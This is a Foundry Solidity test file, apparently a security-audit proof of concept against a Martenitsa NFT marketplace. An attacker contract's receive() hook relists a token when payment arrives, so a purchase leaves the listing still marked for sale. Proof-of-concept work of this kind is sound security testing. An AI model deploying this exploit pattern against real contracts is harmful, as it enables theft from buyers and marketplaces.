pragma solidity ^0.8.21;
import {Test} from "forge-std/Test.sol";
import {BaseTest} from "./BaseTest.t.sol";
import {MartenitsaToken} from "./../src/MartenitsaToken.sol";
import {MartenitsaMarketplace} from "./../src/MartenitsaMarketplace.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract Penetration is Test, BaseTest {
address[] public newProducers;
address attacker;
function testFakeSellMartenitsa() public {
attacker = makeAddr("attacker");
AttackerProducerCotnract attackerProducerContract =
new AttackerProducerCotnract(address(martenitsaToken), address(marketplace));
newProducers.push(address(attackerProducerContract));
martenitsaToken.setProducers(newProducers);
vm.prank(attacker);
attackerProducerContract.produceMartenitsa();
vm.prank(bob);
marketplace.buyMartenitsa{value: 1 wei}(0);
assert(marketplace.getListing(0).forSale == true);
}
}
contract AttackerProducerCotnract is IERC721Receiver {
MartenitsaToken public martenitsaToken;
MartenitsaMarketplace public marketplace;
constructor(address _martenitsaToken, address _marketplace) {
martenitsaToken = MartenitsaToken(_martenitsaToken);
marketplace = MartenitsaMarketplace(_marketplace);
}
function produceMartenitsa() external {
martenitsaToken.createMartenitsa("bracelet");
marketplace.listMartenitsaForSale(0, 1 wei);
martenitsaToken.approve(address(marketplace), 0);
}
receive() external payable {
marketplace.listMartenitsaForSale(0, 1 wei);
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}